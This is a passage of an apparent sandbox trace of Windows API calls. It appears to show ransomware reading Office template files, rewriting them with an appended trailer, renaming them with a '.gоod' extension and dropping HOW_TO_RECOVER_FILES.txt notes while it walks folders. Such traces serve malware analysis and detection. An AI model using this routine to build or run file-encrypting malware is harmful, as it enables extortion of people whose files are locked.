lpOldMode=0x200ebe60) returned 1 [0259.567] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\accessparts.xml"), fInfoLevelId=0x0, lpFileInformation=0x384df70 | out: lpFileInformation=0x384df70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5972d3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11300d)) returned 1 [0259.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ebe20) returned 1 [0259.568] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml", nBufferLength=0x105, lpBuffer=0x200eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml", lpFilePart=0x0) returned 0x4c [0259.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ebd60) returned 1 [0259.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\accessparts.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0259.568] GetFileType (hFile=0x8a0) returned 0x1 [0259.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ebcd0) returned 1 [0259.568] GetFileType (hFile=0x8a0) returned 0x1 [0259.568] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ebeb8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ebeb8*=0) returned 0x1000 [0259.568] ReadFile (in: hFile=0x8a0, lpBuffer=0x384e3a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ebe88, lpOverlapped=0x0 | out: lpBuffer=0x384e3a8*, lpNumberOfBytesRead=0x200ebe88*=0x1000, lpOverlapped=0x0) returned 1 [0260.915] CloseHandle (hObject=0x8a0) returned 1 [0261.086] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml", nBufferLength=0x105, lpBuffer=0x200eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml", lpFilePart=0x0) returned 0x4c [0261.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ebd60) returned 1 [0261.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\accessparts.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0261.086] GetFileType (hFile=0x85c) returned 0x1 [0261.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ebcd0) returned 1 [0261.087] GetFileType (hFile=0x85c) returned 0x1 [0261.087] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ebeb8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ebeb8*=0) returned 0x11300d [0261.087] WriteFile (in: hFile=0x85c, lpBuffer=0x3ae1b18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ebda8, lpOverlapped=0x0 | out: lpBuffer=0x3ae1b18*, lpNumberOfBytesWritten=0x200ebda8*=0x10, lpOverlapped=0x0) returned 1 [0261.088] CloseHandle (hObject=0x85c) returned 1 [0261.088] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml", nBufferLength=0x105, lpBuffer=0x200eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml", lpFilePart=0x0) returned 0x4c [0261.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ebd60) returned 1 [0261.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\accessparts.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0261.088] GetFileType (hFile=0x85c) returned 0x1 [0261.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ebcd0) returned 1 [0261.088] GetFileType (hFile=0x85c) returned 0x1 [0261.088] ReadFile (in: hFile=0x85c, lpBuffer=0x3ae4130, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ebe38, lpOverlapped=0x0 | out: lpBuffer=0x3ae4130*, lpNumberOfBytesRead=0x200ebe38*=0x1000, lpOverlapped=0x0) returned 1 [0261.198] CloseHandle (hObject=0x85c) returned 1 [0261.198] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml", nBufferLength=0x105, lpBuffer=0x200eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml", lpFilePart=0x0) returned 0x4c [0261.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ebd60) returned 1 [0261.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\accessparts.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0261.199] GetFileType (hFile=0x85c) returned 0x1 [0261.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ebcd0) returned 1 [0261.199] GetFileType (hFile=0x85c) returned 0x1 [0261.199] WriteFile (in: hFile=0x85c, lpBuffer=0x3831b18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ebee8, lpOverlapped=0x0 | out: lpBuffer=0x3831b18*, lpNumberOfBytesWritten=0x200ebee8*=0x1010, lpOverlapped=0x0) returned 1 [0261.199] CloseHandle (hObject=0x85c) returned 1 [0261.199] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml", nBufferLength=0x105, lpBuffer=0x200eb990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml", lpFilePart=0x0) returned 0x4c [0261.199] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml.gоod", nBufferLength=0x105, lpBuffer=0x200eb990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml.gоod", lpFilePart=0x0) returned 0x51 [0261.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ebe20) returned 1 [0261.199] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\accessparts.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ebf00 | out: lpFileInformation=0x200ebf00*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5972d3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97e705e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x11301d)) returned 1 [0261.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ebde0) returned 1 [0261.199] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\accessparts.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\accessparts.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\accessparts.xml.gоod")) returned 1 [0261.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb680) returned 1 [0261.200] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType", nBufferLength=0x105, lpBuffer=0x200eb120, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType", lpFilePart=0x0) returned 0x45 [0261.200] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\*", lpFindFileData=0x200eb3a0 | out: lpFindFileData=0x200eb3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb62fbf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0262.472] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb62fbf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.618] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb62fbf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Address.accft", cAlternateFileName="ADDRES~1.ACC")) returned 1 [0262.618] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5972d3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5bd4f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xefe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Category.accft", cAlternateFileName="CATEGO~1.ACC")) returned 1 [0262.618] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5972d3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5bd4f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Name.accft", cAlternateFileName="NAME~1.ACC")) returned 1 [0262.618] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5972d3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5972d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xefc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Payment Type.accft", cAlternateFileName="PAYMEN~1.ACC")) returned 1 [0262.618] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5972d3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5972d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Phone.accft", cAlternateFileName="PHONE~1.ACC")) returned 1 [0262.618] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Priority.accft", cAlternateFileName="PRIORI~1.ACC")) returned 1 [0262.618] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5e373d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5e373d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start End Dates.accft", cAlternateFileName="STARTE~1.ACC")) returned 1 [0262.619] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf23, dwReserved0=0x0, dwReserved1=0x0, cFileName="Status.accft", cAlternateFileName="STATUS~1.ACC")) returned 1 [0262.619] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tags.accft", cAlternateFileName="TAGS~1.ACC")) returned 1 [0262.619] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0262.619] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0262.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb5c0) returned 1 [0262.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb580) returned 1 [0262.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb680) returned 1 [0262.619] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType", nBufferLength=0x105, lpBuffer=0x200eb120, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType", lpFilePart=0x0) returned 0x45 [0262.619] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\*", lpFindFileData=0x200eb3a0 | out: lpFindFileData=0x200eb3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb62fbf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b0a0 [0262.619] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb62fbf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.620] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb62fbf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Address.accft", cAlternateFileName="ADDRES~1.ACC")) returned 1 [0262.620] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5972d3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5bd4f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xefe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Category.accft", cAlternateFileName="CATEGO~1.ACC")) returned 1 [0262.620] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5972d3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5bd4f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Name.accft", cAlternateFileName="NAME~1.ACC")) returned 1 [0262.620] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5972d3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5972d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xefc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Payment Type.accft", cAlternateFileName="PAYMEN~1.ACC")) returned 1 [0262.620] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5972d3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5972d3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5972d3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Phone.accft", cAlternateFileName="PHONE~1.ACC")) returned 1 [0262.620] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Priority.accft", cAlternateFileName="PRIORI~1.ACC")) returned 1 [0262.621] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5e373d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5e373d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start End Dates.accft", cAlternateFileName="STARTE~1.ACC")) returned 1 [0262.621] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf23, dwReserved0=0x0, dwReserved1=0x0, cFileName="Status.accft", cAlternateFileName="STATUS~1.ACC")) returned 1 [0262.621] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tags.accft", cAlternateFileName="TAGS~1.ACC")) returned 1 [0262.621] FindNextFileW (in: hFindFile=0x134b0a0, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tags.accft", cAlternateFileName="TAGS~1.ACC")) returned 0 [0262.621] FindClose (in: hFindFile=0x134b0a0 | out: hFindFile=0x134b0a0) returned 1 [0262.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb5c0) returned 1 [0262.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb580) returned 1 [0262.622] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x200eb0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5e [0262.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb5f0) returned 1 [0262.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\datatype\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0262.623] GetFileType (hFile=0x85c) returned 0x1 [0262.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb560) returned 1 [0262.623] GetFileType (hFile=0x85c) returned 0x1 [0262.623] WriteFile (in: hFile=0x85c, lpBuffer=0x3bab330*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x200eb6b8, lpOverlapped=0x0 | out: lpBuffer=0x3bab330*, lpNumberOfBytesWritten=0x200eb6b8*=0x5d0, lpOverlapped=0x0) returned 1 [0262.624] CloseHandle (hObject=0x85c) returned 1 [0262.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb680) returned 1 [0262.624] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part", nBufferLength=0x105, lpBuffer=0x200eb120, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part", lpFilePart=0x0) returned 0x41 [0262.624] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\*", lpFindFileData=0x200eb3a0 | out: lpFindFileData=0x200eb3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0262.625] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.626] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x200eb360 | out: lpFindFileData=0x200eb360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5e373d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5e373d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5707, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 Right.accdt", cAlternateFileName="1RIGHT~1.ACC")) returned 1 [0262.626] FindNextFileW (in: hFindFile=0x134ac80, 